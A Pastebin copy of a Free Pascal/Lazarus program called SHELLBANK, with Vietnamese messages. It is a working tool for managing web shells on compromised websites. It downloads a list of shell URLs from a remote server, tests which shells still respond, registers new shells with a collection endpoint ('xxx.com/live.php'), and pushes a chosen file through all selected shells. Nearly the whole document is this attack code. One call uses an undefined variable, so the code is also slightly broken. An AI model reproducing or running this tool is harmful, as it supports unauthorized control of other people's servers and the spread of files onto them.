SHARE
TWEET

SHELLBANK.pas

finalshare Aug 9th, 2015 200 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. unit shellbank;
  2.  
  3. {$mode objfpc}{$H+}
  4.  
  5. interface
  6.  
  7. uses
  8.   Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls,
  9.   CheckLst, httpsend, synacode;
  10. type
  11.  
  12.   { TForm1 }
  13.  
  14.   TForm1 = class(TForm)
  15.     Button1: TButton;
  16.     Button2: TButton;
  17.     Button3: TButton;
  18.     Button4: TButton;
  19.     CheckBox1: TCheckBox;
  20.     CheckBox2: TCheckBox;
  21.     CheckBox3: TCheckBox;
  22.     CheckListBox1: TCheckListBox;
  23.     CheckListBox2: TCheckListBox;
  24.     CheckListBox3: TCheckListBox;
  25.     Edit1: TEdit;
  26.     Edit2: TEdit;
  27.     Edit3: TEdit;
  28.     Label1: TLabel;
  29.     Label10: TLabel;
  30.     Label2: TLabel;
  31.     Label3: TLabel;
  32.     Label4: TLabel;
  33.     Label5: TLabel;
  34.     Label6: TLabel;
  35.     Label7: TLabel;
  36.     Label8: TLabel;
  37.     Label9: TLabel;
  38.     procedure Button1Click(Sender: TObject);
  39.     procedure Button2Click(Sender: TObject);
  40.     procedure Button3Click(Sender: TObject);
  41.     procedure Button4Click(Sender: TObject);
  42.     procedure CheckBox1Change(Sender: TObject);
  43.     procedure CheckBox2Change(Sender: TObject);
  44.     procedure CheckBox3Change(Sender: TObject);
  45.   private
  46.     { private declarations }
  47.   public
  48.     { public declarations }
  49.   end;
  50.  
  51. var
  52.   Form1: TForm1;
  53.   ftemp,finp,fcheck,fdie,fres,flive:text;
  54.   LINK,api:Ansistring;
  55.   httpcl:THTTPSEND;
  56. implementation
  57.  
  58. {$R *.lfm}
  59.  
  60. { TForm1 }
  61. function UPLOAD(LINK,FILENAME:ansistring):boolean;
  62. var
  63.   Stream: TStream;
  64.   List: TStringList;
  65. begin
  66.   Stream := TFileStream.Create(FileName, fmOpenRead);
  67.   List:=TStringList.Create;
  68.  
  69.   if HttpPostFile(LINK,pram, FileName, Stream, List)
  70.   then begin
  71.     ShowMessage(' Upload file thành công với shell '+LINK);
  72.   end else begin
  73.     ShowMessage(' Upload file thất cmn bại với shell '+link);
  74.   end;
  75.  
  76.  
  77.   Stream.Free;
  78.   List.Free;
  79.  
  80. end;
  81. function DOWNLOAD(FILENAME:ansistring):boolean;
  82. begin
  83. httpcl:=THTTPsend.create;
  84.      if httpcl.httpmethod('GET','http://xxx.com/'+filename) then
  85.         httpcl.document.savetofile(filename);
  86.      httpcl.free;
  87. end;
  88.  
  89. function CHECKSHELL(URL:ansistring):boolean;
  90. var
  91.   S,st:ansistring;
  92. begin
  93.      checkshell:=true;
  94.      httpcl:=THTTPsend.Create;
  95.      URL:=  URL;
  96.      if httpcl.HTTPMETHOD('GET',URL) then
  97.      httpcl.document.savetofile('temp');
  98.      httpcl.free;
  99.      if FileExists('temp') then
  100.      begin
  101.      system.assign(ftemp,'temp');
  102.      system.assign(fcheck,'up');
  103.      reset(ftemp);
  104.      reset(fcheck);
  105.      if not eof(ftemp) then
  106.      while (not eof(fcheck)) and (not eof(ftemp)) do
  107.            begin
  108.                 readln(ftemp,S);
  109.                 readln(fcheck,ST);
  110.                 if ST<>S then checkshell:=false;
  111.            end
  112.      else checkshell:=false;
  113.      system.close(fcheck);
  114.      system.close(ftemp);
  115.      system.erase(ftemp);
  116.      end else checkshell:=false;
  117. end;
  118. procedure TForm1.Button1Click(Sender: TObject);
  119. var
  120.  countlive,countdie:integer;
  121. begin
  122.      api:=edit2.text;
  123.      countdie:=0;
  124.      countlive:=0;
  125.      system.assign(fdie,'dieDLNT');
  126.      system.assign(flive,'liveDLNT');
  127.      system.assign(finp,'listDLNT');
  128.      download('listDLNT');
  129.      reset(finp);
  130.      rewrite(fdie);
  131.      rewrite(flive);
  132.      while not eof(finp) do
  133.      begin
  134.      readln(finp,LINK);
  135.      if LINK<>'' then
  136.      if CHECKSHELL(LINK) then
  137.        begin
  138.             inc(countlive);
  139.             writeln(flive,link);
  140.        end
  141.      else
  142.      begin
  143.           inc(countdie);
  144.           writeln(fdie,LINK);
  145.      end;
  146.      end;
  147.      system.close(finp);
  148.      system.close(fdie);
  149.      system.close(flive);
  150.      checkListbox1.Items.loadfromfile('liveDLNT');
  151.      CheckListbox2.items.loadfromfile('dieDLNT');
  152.      Label7.caption:='Có '+inttostr(countlive)+' shell thơm.';
  153.      Label8.caption:='Có '+inttostr(countdie)+' shell xịt.';
  154.      system.erase(finp);
  155.      system.erase(fdie);
  156.      system.erase(flive);
  157. end;
  158.  
  159. procedure TForm1.Button2Click(Sender: TObject);
  160. var
  161.    URL: ansistring;
  162.    Params: ansistring;
  163.    Response: TMemoryStream;
  164.    sres:ansistring;
  165.    SHELL:ansistring;
  166. begin
  167.   label3.caption:='';
  168.   api:=edit2.text;
  169.   Response := TMemoryStream.Create;
  170.   edit1.text:=lowercase(edit1.text);
  171.   if (pos('http://',edit1.text)=0) and (pos('https://',edit1.text)=0) then
  172.      edit1.text:='http://'+edit1.text;
  173.   if checkshell(edit1.text)=false then label3.Caption:='Shell không hoạt động. Kiểm tra shell và mã api.' else
  174.   begin
  175.   try
  176.     URL := 'http://xxx.com/live.php';
  177.     Params := 'a=' + EncodeURLElement(edit1.text);
  178.     if HttpPostURL(URL, Params, Response) then
  179.        Response.SaveToFile('response.txt');
  180.   finally
  181.     Response.Free;
  182.   end;
  183.   system.assign(fres,'response.txt');
  184.   reset(fres);
  185.   read(fres,sres);
  186.   if sres='Saved!!!'  then label3.caption:='Thêm Shell thành công' else
  187.      label3.caption:='Thêm Shell thất cmn bại!!';
  188.   system.close(fres);
  189.   system.erase(fres);
  190.   end;
  191. end;
  192.  
  193. procedure TForm1.Button3Click(Sender: TObject);
  194. begin
  195.  
  196. end;
  197.  
  198. procedure TForm1.Button4Click(Sender: TObject);
  199. var
  200.    count:longint;
  201.    i:longint;
  202. begin
  203.     count := checklistbox1.Items.Count;
  204.     for i:=0 to count-1 do
  205.          if checklistbox1.state[i]=cbChecked then upload(checklistbox1.Items[i],edit3.text);
  206. end;
  207.  
  208. procedure TForm1.CheckBox1Change(Sender: TObject);
  209. var
  210.    count:longint;
  211.    i:longint;
  212. begin
  213.   count := checklistbox1.Items.Count;
  214.   if checkbox1.state=cbChecked then
  215.  
  216.      for i:=0 to count-1 do
  217.          checklistbox1.state[i]:=cbChecked;
  218.   if checkbox1.state=cbunChecked then
  219.  
  220.      for i:=0 to count-1 do
  221.          checklistbox1.state[i]:=cbunChecked;
  222.  
  223.  
  224.  
  225. end;
  226.  
  227. procedure TForm1.CheckBox2Change(Sender: TObject);
  228. var
  229.    count:longint;
  230.    i:longint;
  231. begin
  232.   count := checklistbox2.Items.Count;
  233.   if checkbox2.state=cbChecked then
  234.  
  235.      for i:=0 to count-1 do
  236.          checklistbox2.state[i]:=cbChecked;
  237.   if checkbox2.state=cbunChecked then
  238.  
  239.      for i:=0 to count-1 do
  240.          checklistbox2.state[i]:=cbunChecked;
  241. end;
  242.  
  243. procedure TForm1.CheckBox3Change(Sender: TObject);
  244. var
  245.    count:longint;
  246.    i:longint;
  247. begin
  248.   count := checklistbox3.Items.Count;
  249.   if checkbox3.state=cbChecked then
  250.  
  251.      for i:=0 to count-1 do
  252.          checklistbox3.state[i]:=cbChecked;
  253.   if checkbox3.state=cbunChecked then
  254.  
  255.      for i:=0 to count-1 do
  256.          checklistbox3.state[i]:=cbunChecked;
  257. end;
  258.  
  259.  
  260. end.
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top